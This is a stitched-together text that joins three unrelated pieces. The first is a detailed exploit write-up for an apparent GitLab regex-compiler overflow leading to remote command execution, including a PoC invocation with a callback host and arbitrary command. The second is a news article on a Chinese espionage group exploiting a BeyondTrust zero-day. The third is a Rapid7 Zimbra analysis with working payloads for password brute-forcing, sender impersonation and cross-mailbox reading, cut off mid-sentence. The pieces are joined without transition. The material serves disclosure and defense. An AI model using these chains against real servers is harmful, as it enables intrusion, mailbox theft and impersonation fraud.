reject_large_repeats!(pattern) # [6] Repeat-bound check
alternation_free = pattern.gsub(ESCAPE_OR_ALTERNATION) { |token| token == '|' ? '\\|' : token }
probe =
begin
Regexp.new(alternation_free)
rescue RegexpError => e
# ... error-message rewriting omitted
end
check_compiled_size!(probe) # [7] Probe size check
check_compiled_size!(Regexp.new(pattern, timeout: timeout)) # [8] Final size check
endThe source-length check occurs before this function. The subroutine-call check at [5] and the repeat-bound check at [6] defend against structural growth, but the scanner at [4] recognizes only contiguous digits. Compilation then happens twice: [7] checks an alternation-free probe, and [8] checks the requested expression and attaches the 50-millisecond timeout. Either object is rejected if it exceeds one megabyte.
The PoC hides its quantifier bound from the scanner at [4] via an inline comment: {5(?#)7805}
(?#) is an inline regex comment. Onigmo ignores it and reads the bound as 57,805. GitLab's scanner expects contiguous digits, so it does not see a bound above 1,000.
That bypass admits the large repeat, but the checked expression is still only 986 bytes. The six [[:word:]] classes expand when matching begins against a repository path containing valid four-byte UTF-8 characters. Ruby recompiles the same source for UTF-8, each POSIX word class expands into a large Unicode range table, and GitLab never checks the size of this new program.
Ruby selects or recompiles the regex before starting its timed matcher:
/* re.c: rb_reg_prepare_re() */ regex_t *reg = RREGEXP_PTR(re); if (reg->enc == enc) return reg; // [9] Matching encoding // ... source preprocessing and use-count branch omitted r = onig_new_without_alloc(&tmp_reg, (UChar *)ptr, (UChar *)(ptr + len), reg->options, enc, OnigDefaultSyntax, &einfo); // [10] Onigmo recompile // ... error handling and old-program replacement omitted /* re.c: rb_reg_onig_match() */ reg = rb_reg_prepare_re(re, str); // ... use-count bookkeeping omitted OnigPosition result = match(reg, str, regs, args); // [11] Begin timed match // ... result cleanup omitted
At [9], Ruby returns the existing program only when its encoding matches the subject. Otherwise, [10] recompiles the source for the subject encoding via Onigmo. Only then does [11] begin timed matching, leaving the unsafe compilation outside the timeout.
Onigmo compiles the regular expression into bytecode, which its source calls pcode. Its regex VM then runs that pcode against each path, so the UTF-8 recompilation at [10] is where the oversized pcode program is created.
The repeated target also carries the bytes that run after the overflow:
# poc.py: build()
# ... prefix setup omitted
target = "(?<=" + "[[:word:]]" * 6 + "".join(character_class(stage) for stage in STAGES)
digits = str(REPEAT_COUNT)
pattern = f"\\A(?>{prefix}(?:{target}){{{digits[0]}(?#){digits[1:]}}}|)\\b\\B"The six [[:word:]] classes are only the size multiplier. The payload sits in four more character classes generated by character_class(stage). A class such as [abc] compiles to a bitmap with bits set for a, b, and c. The helper works backwards from each desired pcode sequence and chooses class members whose bitmap reproduces those bytes. This puts attacker-controlled VM instructions at the end of every expanded copy.
Under UTF-8, one copy of the repeated body is 37,151 bytes. The relevant Onigmo compiler code in Ruby 3.3.12 is:
/* regcomp.c: compile_quantifier_node() */
/* ... earlier quantifier cases omitted */
else if (!infinite && qn->greedy &&
(qn->upper == 1 || (tlen + SIZE_OP_PUSH) * qn->upper
<= QUANTIFIER_EXPAND_LIMIT_SIZE)) { // [12] Signed size check
int n = qn->upper - qn->lower;
r = compile_tree_n_times(qn->target, qn->lower, reg); // [13] Expand lower copies
if (r) return r;
// ... optional copies omitted
}
/* ... remaining quantifier cases omitted */With this body size (37,151) and quantifier bound (57,805):
37,151 × 57,805 = 2,147,513,555 = 0x800074d3
That is 29,908 (0x74D4) bytes beyond signed INT_MAX (0x7FFFFFFF). At [12], the negative result satisfies the compiler's “small enough to expand” test. Onigmo enters the expansion path at [13] and emits all 57,805 copies.
The | immediately after {5(?#)7805} makes the repeated body the first alternative and leaves the second alternative empty. Onigmo compiles this | into two pcode branches. An OP_PUSH near the beginning is meant to record the empty alternative as a backtracking target, but does not transfer execution on this path. The first bad transfer is the OP_JUMP emitted after the giant first alternative by the alternation compiler:
/* regcomp.c: compile_tree(), NT_ALT */
/* ... calculate alternation length omitted */
pos = reg->used + len; /* goal position */
/* ... emit the fallback and first alternative omitted */
if (IS_NOT_NULL(NCDR(node))) {
len = pos - (reg->used + SIZE_OP_JUMP);
r = add_opcode_rel_addr(reg, OP_JUMP, len); // [14] Skip empty branch
if (r) break;
}The jump at [14] should skip the empty alternative and land at the end of the alternation. The compiler calculated pos from the already wrapped length, however. Our build emits the jump at offset 2,147,513,698 with a displacement of -136, sending execution into the first payload bitmap in the last expanded copy, 140 bytes from the end of the pcode.
The wrapped branch now leaves normal generated pcode and enters a controlled character-class bitmap. Onigmo consequently runs the bytes encoded by character_class() as VM instructions, starting the sequence shown here.
The controlled pcode redirects Onigmo's backtracking stack, which holds saved match state, into the repository path. On a failed match, the VM restores the two values shown in the diagram: the next instruction from the path and FinishCode, a pointer from its bottom stack frame. The first value decides where controlled pcode resumes. The second gives it a known address inside libruby.
The path instruction sends control to the final controlled bitmap. That bitmap adjusts the recovered libruby pointer to a short instruction sequence that passes the path command to system(), then writes that address into match_at()'s native return slot. When the matcher finishes, execution returns through the overwritten slot. FinishCode and the call site are in the same libruby mapping, so the distance between them stays constant under ASLR.
Once the malicious configuration and path are present on a public branch, GitLab's CI lint API supplies an unauthenticated trigger. The GET form accepts an attacker-selected content_ref, loads .gitlab-ci.yml from that commit, and evaluates it:
GET /api/v4/projects/attacker%2Fpublic-project/ci/lint?content_ref=payload-ref Host: gitlab.example
The route checks whether the requester may read the public repository, resolves the supplied ref, and passes its CI configuration to the static linter:
get ':id/ci/lint' do
authorize_read_code! # [17] Read authorization
not_found! 'Repository' if user_project.empty_repo?
unauthorized!("This endpoint requires an API authentication") if current_user && !::Current.token_info # [18] Token check
content_ref = params[:content_ref] || params[:sha] || user_project.repository.root_ref_sha # [19] Select commit
dry_run_ref = params[:dry_run_ref] || params[:ref] || user_project.default_branch
commit = user_project.commit(content_ref)
not_found! 'Commit' unless commit.present?
content = user_project.repository.blob_data_at(commit.sha, user_project.ci_config_path_or_default)
result = Gitlab::Ci::Lint
.new(project: user_project, current_user: current_user, sha: commit.sha)
.legacy_validate(content, dry_run: params[:dry_run], ref: dry_run_ref) # [20] Run static lint
present result, with: Entities::Ci::Lint::Result, current_user: current_user, include_jobs: params[:include_jobs]
endPublic visibility makes authorize_read_code! at [17] succeed without credentials, while the condition at [18] does not reject an absent current_user. The selected branch becomes the static linter's input through [19] and [20], without creating a pipeline or contacting a runner. This is why the exploit's trigger can be unauthenticated even though the demonstrated setup requires project write access.
The initial Python PoC clones a public project controlled by the operator, creates a payload branch, starts the callback, and sends the lint request:
$ python3 poc.py https://g.example 123 \ --git-url 'https://oauth2:ATTACKER_TOKEN@g.example/attacker/public-poc.git' \ --callback-url cb.ex:8000 \ --cmd 'uname -a && id' [*] deployed attacker ref 69fe2478c446ab17afe4c150; executing: uname -a && id [*] delivery GET https://g.example/api/v4/projects/123/ci/lint?content_ref=69fe2478c446ab17afe4c150 [*] target stopped responding after delivery: HTTP Error 502: Bad Gateway [uname output omitted] uid=998(git) gid=998(git) groups=998(git)
HTTP 502 is expected. The command runs synchronously in a Puma worker. After system() returns, the corrupted worker crashes. GitLab Workhorse, the reverse proxy in front of Puma, sees its Rails backend connection close and returns 502. Puma replaces the worker. The callback output, not the HTTP status, is the success signal.
The target-specific values in this PoC, such as SYSTEM_STEP_COUNT, the number of UTF-8 backward steps from FinishCode to the libruby system() call site, match official GitLab CE 19.4.1 on Linux amd64. Other vulnerable packages or architectures need adjusted pcode and libruby offsets. A little over 2 GiB is required in the worker, and our complete single-node GitLab target needed about 9 GiB available. Low-memory instances may swap, reject the allocation, or invoke the OOM killer.
GitLab's Ruby backport replaces the multiplication at [12] with a division-based test, which cannot overflow, and rejects compiled programs above roughly 512 MiB:
/* regcomp.c */ #define IS_EXPAND_LIMIT_OK(tlen, n) \ ((n) <= 0 || (tlen) <= QUANTIFIER_EXPAND_LIMIT_SIZE / (n)) /* ... unrelated compiler declarations omitted */ #define MAX_COMPILED_PROGRAM_SIZE (INT_MAX_LIMIT / 4)
On the patched image, the crafted quantifier remains a compact loop and the request returns a normal false match. The repeat-range double-free fixed in the same release affects an error path and is not part of this chain.
For the exploitation strategy described in this analysis, correlate:
/var/log/gitlab/gitlab-workhorse/current: a several-second GET /api/v4/projects/<project>/ci/lint?content_ref=<ref>, badgateway: failed to receive response: EOF, and HTTP 502.
A Puma worker crashes or restarts at the same time; any saved trace contains regexp_matcher.rb.
The referenced commit: an (?#)-split repeat, repeated POSIX word classes, and a path containing four-byte UTF-8 characters.
A shell child or roughly 2 GiB worker-memory increase strengthens the match. The undisclosed path may differ.
Self-managed GitLab customers should upgrade to the fixed patch for their release: 19.2.8, 19.3.5, or 19.4.2. As a temporary measure, restrict credential-free access to attacker-writable public projects or block this lint route. Route controls do not repair the vulnerable Ruby compiler.
Please read GitLab's critical patch release for the latest guidance.
Suspected Chinese hackers with a proven knack for exploiting zero-days in security products are at it again, targeting BeyondTrust customers in attacks that researchers have traced back to late August.
Mandiant researchers said a likely Chinese government-backed espionage group it previously tracked as UNC5221, and now calls Armory Castle, exploited the critical defect — CVE-2026-102764 — then showcased multiple tactics to escalate privileges, hop around the compromised network and evade detection.
The same threat group has repeatedly exploited a series of defects in Ivanti products since 2023, a Citrix NetScaler zero-day widely known as CitrixBleed, and last year’s Brickstorm campaign that had an average dwell time of 400 days — all resulting in sweeping attack sprees.
“We are aware of only a small number of impacted organizations at this time, but given the stealth of the activity, and the use of a zero-day, it is possible that additional organizations were also compromised prior to the disclosure,” Kelli Vanderlee, senior analyst at Google Threat Intelligence Group, said in an email.
Mandiant warned organizations to “prepare for potential widespread exploitation,” adding that Armory Castle and other threat groups previously conducted broad, opportunistic exploitation following public vulnerability disclosures.
Mandiant and GTIG released their analysis of Armory Castle and its latest campaign as BeyondTrust publicly disclosed the vulnerability in its Remote Support product Thursday. The company’s security said it released a patch for the exploited defect for self-hosted customers Oct. 8 and automatically applied the update to cloud-based versions of the product that same day.
BeyondTrust, which conducted its own investigation and coordinated with Mandiant on an investigation involving a self-hosted customer that was compromised, noted Armory Castle’s prowess.
“This threat actor rotates its infrastructure and tooling for every victim, so attribution here rests on behavior. The indicators from one intrusion rarely survive to the next,” the company’s security team wrote in a blog post. “The threat actor has historically demonstrated a high degree of operational security awareness, professional practices, and tradecraft.”
A BeyondTrust spokesperson declined to answer questions about how many customers are already compromised or why it didn’t publicly disclose the actively exploited zero-day sooner, and instead referred back to its security advisory.
The company said the first known instance of zero-day exploitation occurred Aug. 29, which it detected and contained Sept. 28.
BeyondTrust also said it detected the malicious activity after zero-days were confirmed to be exploited in another security vendor’s product Sept. 27. That timing matches a round of zero-days Citrix NetScaler disclosed, following nearly two days of rampant worry and unconfirmed rumors.
BeyondTrust did not say if there is any link or overlap between the attacks targeting Citrix NetScaler, which went undetected for more than three weeks, and its remote access product.
GTIG researchers said there isn’t enough evidence to assess an overall targeting trend, but encouraged all potentially vulnerable organizations to apply the patch and hunt for pre-disclosure activity.
The threat group’s previous targets include business-process outsourcers, government, legal services, technology companies and software-as-a-service providers.
“Armory Castle remains one of the most prominent China-nexus threat actors due to its persistent targeting of various edge device technologies, use of zero-day vulnerabilities for widespread exploitation across multiple industries and regions, and its continuously expanding and evolving arsenal of tools,” said Dan Perez, technical lead at GTIG.
“This is a well-established pattern for Armory Castle,” Vanderlee said. “Targeting edge devices, which typically do not support endpoint detection and response (EDR), allows the threat actor to minimize opportunities for detection and maintain stealthy, persistent access to targeted networks.”
The post Prolific Chinese espionage group exploits BeyondTrust zero-day appeared first on CyberScoop.
An enterprise mail server authenticates users, stores private communications, delivers recovery links, runs calendars, and sends mail that employees and other systems trust. Compromising it can therefore expose both email and the identities and workflows built around it.
During a broader assessment of Zimbra Collaboration Suite (ZCS), Rapid7 reported more than 80 vulnerabilities spanning authentication, mailbox authorization, calendar processing, web clients, document services, and the host operating system. The affected components are being fixed on different schedules, so we are publishing the analysis in stages. An accompanying GitHub repository containing full write-ups and PoCs serves as a live technical tracker, and will be updated as further findings and fixes become public.
This first article concentrates on five account-related vulnerabilities:
CVE | Finding | Rapid7 CVSS | Fixed release |
|---|---|---|---|
GraphQL authentication rate-limit bypass | No public fix listed | ||
LDAP filter injection | No public fix listed | ||
Email impersonation via SaveDraftRequest | ZCS 10.1.17 | ||
EWS cross-user mailbox access | ZCS 10.1.20 | ||
Sieve notify forwarding-restriction bypass | ZCS 10.1.20 |
Part 2 will cover unauthenticated stored XSS paths in the Classic and Modern clients and what they can do with the recipient's session. A script can install the Sieve forwarding rule (CVE-2026-50055); another path preserves direct mailbox access after the original session expires or the victim changes their password. CVE-2026-73571 makes these attacks more credible by placing the message in the mailbox as any chosen local user.
Parts 3 and 4 move through the document-service boundary from SSRF to code execution as zimbra, then cover multiple independent paths from zimbra to root. The BruCON presentation, Signed, Sealed, Compromised: Weaponizing Enterprise Mail Infrastructure, previewed these chains, including selected root-command output returned to the victim's browser after one message selection.
Zimbra Collaboration Suite is a self-hosted platform for email, calendars, contacts, tasks, and file sharing. Zimbra calls its commercial server Network Edition. Within one Network Edition installation, customers can license a mixture of Standard and Professional users. Zimbra Desktop and Zimbra Connector for Outlook are separate client applications, while Exchange Web Services (EWS) is a separately licensed server feature for Outlook compatibility.
ZCS includes two webmail clients with different request and rendering stacks: Classic relies primarily on SOAP, while Modern uses GraphQL. The server also accepts SMTP and iCalendar input, exposes compatibility services such as EWS, and delegates work to local components running under several operating-system identities.
Rapid7 initially assessed ZCS 10.1.16_GA_4850 Network Edition on Ubuntu 22.04. For fixed findings, each section describes Zimbra's fix and the accompanying Github repository retains the complete vulnerable-to-fixed diff.
The pre-authentication findings lower separate barriers to obtaining a foothold. GraphQL hides failed password attempts from Zimbra's source-IP counter. In the configured external-LDAP case, a second flaw can also leave the optional account-lockout policy with no local account to lock.
Each remaining finding is independently exploitable from an ordinary compromised account. Email impersonation needs no optional feature: the attacker places a different local address in an authenticated request. Zimbra submits the message from that account through the trusted outbound pipeline and records a copy in the selected user's Sent folder.
If EWS is enabled for the compromised account, the attacker can read private conversations, attachments, drafts, sent mail, contacts and calendar entries from other users' mailboxes. A separate Sieve policy bypass can keep copies of future mail flowing to the attacker after the original session expires or the password changes.
These examples do not represent everything an attacker can do with authenticated Zimbra access, or the full vulnerability set from the assessment.
This pre-authentication route requires only HTTPS access to Zimbra. ZimbraInvalidLoginFilter normally records failed logins by source address around requests to the public service endpoints. Classic submits login attempts through the SOAP AuthRequest path, whereas Modern exposes the same password check through its GraphQL authenticate mutation.
That limiter's failure threshold is 10 by default, and after a source crosses it within the configured window, subsequent requests handled by the filter receive HTTP 503. CVE-2026-93637 allows attempts through GraphQL to remain invisible to that counter.
ZimbraInvalidLoginFilter wraps requests to the public service endpoints and runs the downstream handler before its counter logic:
// ZimbraInvalidLoginFilter.doFilter()
// ... whitelist, disabled-filter and existing-suspension handling omitted
chain.doFilter(request, response);
if (req.getAttribute(AUTH_FAILED) != null) { // [0] wrapper-supplied signal
// ... logging omitted
boolean loginFailed = (Boolean)req.getAttribute(AUTH_FAILED);
if (loginFailed) {
// ... per-IP counter lookup and initialization omitted
if (count.incrementAndGet() > this.maxFailedLogin) {
this.numberOfFailedOccurence.put(clientIp, count);
this.suspiciousIpAddrLastAttempt.put(
clientIp, System.currentTimeMillis());
}
this.numberOfFailedOccurence.put(clientIp, count);
}
// ... final debug logging omitted
}At [0], failure processing begins only if the downstream path added auth.failed to the request. The relevant SOAP exception path is:
// SoapEngine.dispatchRequest()
// ... earlier dispatch handling omitted
catch (AccountServiceException.AuthFailedServiceException e) {
HttpServletRequest httpReq = (HttpServletRequest)context.get("servlet.request");
httpReq.setAttribute("auth.failed", (Object)Boolean.TRUE); // [1] failure becomes visible
String clientIp = (String)context.get(REQUEST_IP);
httpReq.setAttribute(REQUEST_IP, (Object)clientIp);
response = soapProto.soapFault((ServiceException)e);
// ... debug and informational logging omitted
}At [1], SoapEngine.dispatchRequest() sets the attribute before returning the authentication fault. A failed SOAP login therefore reaches the check at [0] and increments the source-IP counter.
Modern Zimbra's GraphQL extension builds an ordinary AuthRequest, then reaches its handler through XMLDocumentUtilities.executeDocumentAsGuest():
// XMLDocumentUtilities.executeDocumentAsGuest()
public static Element executeDocumentAsGuest(DocumentHandler handler,
Element request, RequestContext rctxt) throws ServiceException {
HashMap<String, Object> context = new HashMap<String, Object>();
context.put("zimbra.context",
GQLAuthUtilities.getGuestZimbraSoapContext(request.getQName(), handler, rctxt));
context.put("servlet.request", rctxt.getRawRequest());
context.put("servlet.response", rctxt.getRawResponse());
return handler.handle(request, context); // [2] bypasses SoapEngine
}At [2], the helper calls the authentication handler without passing through SoapEngine. An incorrect password still becomes a GraphQL error, but the catch block at [1] never runs. The attribute read at [0] is absent, so the filter does not increment the source-IP counter.
An unauthenticated client sends JSON to /service/extension/graphql. GraphQL aliases let its query field invoke authenticate repeatedly with different passwords:
mutation {
a0: authenticate(authInput: {account: {accountBy: name, key: "victim@example.test"}, password: "pass0"}) { authToken }
a1: authenticate(authInput: {account: {accountBy: name, key: "victim@example.test"}, password: "pass1"}) { authToken }
a2: authenticate(authInput: {account: {accountBy: name, key: "victim@example.test"}, password: "pass2"}) { authToken }
}Each alias performs a real authentication operation. Failures appear in the GraphQL errors array, while a successful alias returns an authentication token under its corresponding name. The GraphQL engine imposes no application-level alias limit on this path. The whole document remains one HTTP request, so Jetty's request-count control sees one request rather than the number of login operations inside it.
Alias execution is sequential and backend-bound, so the rate depends on the deployment. Using 100 aliases per request, 10,000 candidates completed in under two minutes without the Zimbra IP counter or Jetty's request filter blocking the source. The vulnerability removes IP-level failed-login accounting and reduces request overhead.
The CVE-2026-93637 PoC accepts an ordinary password file, generates the batched GraphQL documents and reports the accepted candidate.
The IP counter is not Zimbra's only possible control. Its separate per-account lockout policy is disabled by default, but when enabled, failed GraphQL operations still increment the target local account's counter and stop further guessing when that account locks.
On domains configured with external LDAP search-filter authentication and lazy auto-provisioning, CVE-2026-93635 turns the login field into a password oracle for an external directory user. LdapUtil.computeDn() substitutes a wildcarded login such as jdoe*@example.test into the configured filter without escaping it. If that pattern selects one directory entry, Zimbra tries the candidate password against that user. An incorrect password returns account.AUTH_FAILED; a correct password passes the LDAP bind and reaches lazy provisioning, producing a different response.
The wildcarded login is not the name of an existing local Zimbra account, so the optional per-account lockout has no account against which to record the failed attempt. Sending the same operation through GraphQL also avoids the source-IP counter. With per-account lockout enabled and its threshold set to five, repeated wrong candidates incremented neither counter, while a correct password remained distinguishable. This two-bug composition applies only to the stated external-LDAP configuration, not Zimbra's default local-authentication path.
The LDAP/GraphQL composition PoC and CVE-2026-93635 tracker entry cover this configured external-directory path in detail. The CVE-2026-93637 tracker entry records the standalone finding and affected-version evidence.
Anyone who can reach the public GraphQL endpoint can make repeated password guesses without triggering Zimbra's source-IP suspension. Batching several candidates also reduces the number of HTTP requests and the associated network overhead. This makes weak, reused or previously exposed passwords more practical to test, but it does not reveal a strong password or bypass a separate MFA check.
SaveDraftRequest has a delegated-sending path selected by isDelegatedReq. On a vulnerable server, an ordinary user can place another local address in the request's From field. The handler resolves that address to its mailbox, assumes the mailbox owner's authority and calls Zimbra's normal send routine without checking whether the signed-in account has send-as rights. This is an application authorization failure, not a forged display name or a hand-written SMTP header: Zimbra submits the attacker's message as the selected account and adds the corresponding item to that account's Sent folder.
The target must be on the same mailbox server, but the attack requires no optional Zimbra feature, existing delegation, administrator right or victim action.
After the request parser extracts the From address, the delegated branch resolves that address to a local account and reads an optional delegateeAccountId:
// SaveDraft.handle() excerpt
// ... message fields, From address and delegation attributes parsed above
if (mailAddress != null) {
delegatorAccount = prov.get(
Key.AccountBy.name, mailAddress, zsc.getAuthToken()); // [0] account named by From
}
if (isDelegatedReq) {
delegatorMbox = MailboxManager.getInstance()
.getMailboxByAccountId(delegatorAccount.getId());
Account delegateeAccount = null;
OperationContext oct = null;
if (delegateeAccountId != null) {
delegateeAccount = prov.getAccountById(delegateeAccountId);
oct = new OperationContext(delegateeAccount); // [1] supplied account context
} else if (delegatorMbox != null) {
oct = new OperationContext(delegatorMbox); // [2] claimed sender context
}
if (oct != null && delegatorMbox != null) {
mm = ParseMimeMessage.parseMimeMsgSoap(
zsc, oct, delegatorMbox, msgElem, null, mimeData);
boolean deliveryReport = false;
// ... optional delivery-report update omitted
SendMsg.doSendMessage(oct, delegatorMbox, mm, mimeData.uploads,
null, "r", null, null, false, false, false, deliveryReport); // [3] platform delivery
}
// ... response construction omitted
}There is no checkRight(), canAccessAccount(), or canSendAs() call between resolving the account at [0] and delivery at [3]. In the demonstrated request, delegateeAccountId is absent. At [2], Zimbra constructs the operation context from the mailbox named in From, causing the later send to treat the selected account as the caller. [3] then submits the message through Zimbra's legitimate sending path.
There is a second way to trigger the flaw. The attacker can supply the claimed sender's account UUID in delegateeAccountId. At [1], Zimbra constructs the operation context directly from that account and reaches the same impersonation result without checking the identity that was actually signed in.
The relevant SaveDraftRequest body is:
<SaveDraftRequest xmlns="urn:zimbraMail" isDelegatedReq="1">
<m>
<e t="t" a="recipient@example.test"/>
<e t="f" a="ceo@example.test"/>
<su>Updated payroll review</su>
<mp ct="text/plain"><content>Please review the changes.</content></mp>
</m>
</SaveDraftRequest>Because Zimbra submits the message through its legitimate infrastructure, the issue goes beyond display-name spoofing. On a deployment whose legitimate outbound mail passes SPF, DKIM, and DMARC, the impersonated message passes them too: it uses the same source MTA, signing domain, RFC sender, and envelope sender as legitimate mail from the selected account. Local testing confirmed that sender alignment and normal MTA path.
The CVE-2026-73571 PoC submits the delegated request with an operator-selected sender, recipient, subject and message body. On the affected build, the message arrived with the CEO as its RFC sender, and the same subject appeared in the CEO's Sent folder.
An attacker can impersonate any local user, not only an administrator or executive. Internally, that allows believable payment requests, changes to account details, malicious links, false instructions and fraudulent approvals. Normal display-name spoofing warnings and external-sender banners do not help because Zimbra submits the message as the selected local user.
Zimbra also places the forged message in the impersonated user's Sent folder. This leaves a fabricated record of authorship and can support an attempt to frame that user.
For external recipients, the attacker can send from a finance account to request new payment details, use an operations account to cancel or alter an order, or send scams and abusive mail under an employee's address. The consequences depend on the role and relationships of the selected sender.
The same trusted-delivery advantage applies to exploit-bearing mail. The next article will examine browser-side findings that an attacker can deliver from any chosen local account. Impersonation is not required for the XSS itself, but can make the message appear to come from somebody the recipient trusts.
The patch in ZCS 10.1.17 retains the account that actually signed in unless it has an explicit send-as or send-on-behalf-of right. An unauthorized delegated request consequently runs as the caller rather than the account named in the message.
Zimbra's EWS extension uses composite folder IDs intended for shared-mailbox operations. FindItem trusts the owner UUID inside an attacker-supplied ID and constructs the authorization context from the selected mailbox instead of the account that signed in. This Insecure Direct Object Reference (IDOR) lets any ordinary EWS-enabled account read complete items from other users' mailboxes without a share or delegation grant.
The attacker needs zimbraFeatureEwsEnabled=TRUE. Although disabled by default, deployments using Zimbra's Outlook desktop integration commonly enable EWS class-of-service-wide. The target account does not need EWS enabled, and no target-user action is required.
To address a shared item, EWS needs to identify both the mailbox that owns it and the item or folder inside that mailbox. Zimbra encodes this as {ownerUUID}_{numericId}. For example:
5e05e6e2-8810-4c2a-a7ac-3771df62e344_2
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ ^
owner UUID +-- folder 2 (Inbox)When FindItem receives a composite ID, FolderUtil.parseItemId() separates the owner and numeric portions. The owner value is then passed to ItemUtil.getGrantorMailbox():
// ItemUtil.getGrantorMailbox()
public static Mailbox getGrantorMailbox(String ownerId) throws ServiceException {
Provisioning prov = Provisioning.getInstance();
Account ownerAcct = prov.get(Key.AccountBy.id, ownerId); // [0] supplied owner UUID
Mailbox mailboxOwnr = MailboxManager.getInstance()
.getMailboxByAccount(ownerAcct); // [1] selected mailbox
return mailboxOwnr;
}At [0], EWS resolves the supplied owner UUID to a local account; [1] retrieves that account's mailbox. Neither method receives the caller's identity.
The authenticated account and selected mailbox are then passed to ItemOperation:
// ItemOperation.ItemOperation()
public ItemOperation(Account account, Mailbox mailbox, ZimbraAuth zimbraAuth)
throws ServiceException {
this.account = account; // [2] authenticated attacker
this.mailbox = mailbox; // [3] selected owner's mailbox
this.octxt = mailbox == null
? new OperationContext(account)
: new OperationContext(mailbox); // [4] selected owner context
this.zimbraAuth = zimbraAuth;
this.octxt.setUserAgent(zimbraAuth.getUserAgent());
}[2] is the attacker account. Supplying a victim UUID makes [3] the victim mailbox, so it is not null. [4] therefore creates OperationContext from the victim mailbox instead of the attacker account.
// OperationContext constructors
public OperationContext(Mailbox mbox) throws ServiceException {
this(mbox.getAccount()); // [5] target mailbox owner
}
public OperationContext(Account acct) {
this(acct, false);
}
public OperationContext(Account acct, boolean admin) {
this.authuser = acct; // [6] identity used for permission checks
// ... remaining context initialization omitted
}[5] extracts the victim account from that mailbox, and [6] stores the victim as the authenticated user. The mailbox then compares this identity with its owner:
// Mailbox.getAuthenticatedAccount()
Account getAuthenticatedAccount() {
// ... context and authenticated-user lookup omitted
if (authuser != null && authuser.getId().equals(this.getAccountId())) {
authuser = null; // [7] matching identity is treated as owner access
}
return authuser;
}The identities match, so [7] changes the authenticated user to null, which downstream checks treat as owner access. The attacker's request is consequently authorized as the victim. EWS has used the untrusted owner UUID both to select a mailbox and to decide who is authenticated. The numeric folder ID is subsequently resolved within that owner context, allowing FindItem to access any folder in the selected mailbox.
A target UUID is available through ordinary authenticated directory lookups. Both GetAccountInfoRequest and SearchGalRequest return zimbraId for a known local address. The PoC uses GetAccountInfoRequest:
<GetAccountInfoRequest xmlns="urn:zimbraAccount"> <account by="name">victim@example.test</account> </GetAccountInfoRequest>
The response contains the target's UUID:
<attr name="zimbraId">5e05e6e2-8810-4c2a-a7ac-3771df62e344</attr>Appending _2 to the UUID forms the target's Inbox identifier. The attacker sends the following EWS request to /service/extension/zimbraews, or to /EWS/Exchange.asmx when EWS is exposed through Zimbra's standard proxy:
<m:FindItem Traversal="Shallow"
xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages"
xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types">
<m:ItemShape>
<t:BaseShape>AllProperties</t:BaseShape>
<t:IncludeMimeContent>true</t:IncludeMimeContent>
</m:ItemShape>
<m:IndexedPageItemView MaxEntriesReturned="5" Offset="0" BasePoint="End"/>
<m:ParentFolderIds>
<t:FolderId Id="5e05e6e2-8810-4c2a-a7ac-3771df62e344_2"/>
</m:ParentFolderIds>
</m:FindItem>The server returns the selected mailbox's data in the EWS response:
<ns2:Message xmlns:ns2="http://schemas.microsoft.com/exchange/services/2006/types">
<!-- Complete base64 MIME and other returned fields omitted. -->
<ns2:ItemId Id="5e05e6e2-8810-4c2a-a7ac-3771df62e344_380" ChangeKey="600"/>
<ns2:Subject>Project Phoenix acquisition timeline</ns2:Subject>
<ns2:Body BodyType="Text">The target accepted the preliminary terms.
Board approval is due Friday. Keep this strictly confidential.</ns2:Body>
<ns2:HasAttachments>true</ns2:HasAttachments>
<ns2:From><ns2:Mailbox>
<ns2:EmailAddress>finance@northbridge.example</ns2:EmailAddress>
</ns2:Mailbox></ns2:From>
<ns2:InternetMessageId><20261005150023.563F6400B9@mail.lab.local></ns2:InternetMessageId>
</ns2:Message>The CVE-2026-10631 PoC obtains that UUID and creates the composite ID automatically.
Changing the numeric component selects another well-known folder:
Folder | Crafted ID | Unauthorized result |
|---|---|---|
Inbox | {uuid}_2 | Received messages and attachments |
Sent | {uuid}_5 | Messages sent by the target |
Drafts | {uuid}_6 | Unfinished messages |
Contacts | {uuid}_7 | Address-book entries |
Calendar | {uuid}_10 | Appointments and meeting data |
If the target mailbox is on another server in the same Zimbra cluster, the first server forwards the crafted request. The receiving server resolves its local mailbox from the same owner UUID and reaches the vulnerable FindItem constructor.
The CVE-2026-10631 tracker entry covers the full response, affected folders and multi-server path in detail.
EWS exposes the victim's private message bodies and attachments, as well as drafts, sent mail, contacts and calendar data. The attacker can monitor conversations and use their history to make the separate impersonation attack more credible.
An attacker can also request a password reset for another service, monitor the corresponding mailbox and consume the link. EWS does not bypass third-party MFA by itself, but it exposes an email channel that many services still treat as sufficient proof. Because the owner UUID is attacker-selected, the same ordinary EWS account can repeat these reads against other local mailboxes.
Note that an earlier version of this analysis, presented at BruCON 2026, attributed GetItem, send, move and delete to the same flaw. Comparing intermediate Network Edition releases during this research required multiple restored VM appliances, because EWS is license-gated and normal patching advances the complete system; one appliance retained a separate mailbox authorization state that obscured the boundary, which initially made the impact appear broader. Repeating each operation with explicit authorization and target-state controls narrowed the CVE to FindItem, which still exposes complete MIME and attachments.
The patch in ZCS 10.1.20 creates the EWS authorization context from the account that signed in, not the mailbox selected by the composite ID. Zimbra applied that correction to both local and remote mailbox operations.
zimbraFeatureMailForwardingInFiltersEnabled=FALSE is meant to stop users creating server-side mail-forwarding rules. Zimbra enforces it by rejecting Sieve redirect, but accepts notify even though that action can send selected headers and the complete text body to an arbitrary external address. An authenticated user can therefore install persistent mail exfiltration despite the administrator's restriction. If forwarding is normally allowed, there is no policy boundary to bypass.
Both the ModifyFilterRulesRequest and ModifyOutgoingFilterRulesRequest SOAP commands call checkForwardFilterAttr() before saving a rule. The check recognizes only one action type:
// DocumentHandler.checkForwardFilterAttr()
public boolean checkForwardFilterAttr(Account account, List<FilterRule> filterRules,
String filterRuleType) throws ServiceException {
if (!account.isFeatureMailForwardingInFiltersEnabled() && !filterRules.isEmpty()) {
for (FilterRule filterRule : filterRules) {
if (!Objects.requireNonNull(filterRule.getFilterActions()).stream()
.anyMatch(FilterAction.RedirectAction.class::isInstance) // [0] redirect only
|| this.checkIfFilterAlreadyExists(filterRule, account, filterRuleType))
continue;
return false;
}
}
return true; // [1] all other actions allowed
}At [0], the policy classifies only RedirectAction as forwarding, meaning NotifyAction and RFCCompliantNotifyAction reach [1] even though they can send attacker-selected message content to an external email address.
These actions can include message content rather than just a generic alert because SoapToSieve.getSieveScript() enables the variables and enotify extensions. FilterUtil.getVarsMap() then supplies the values available to the notification:
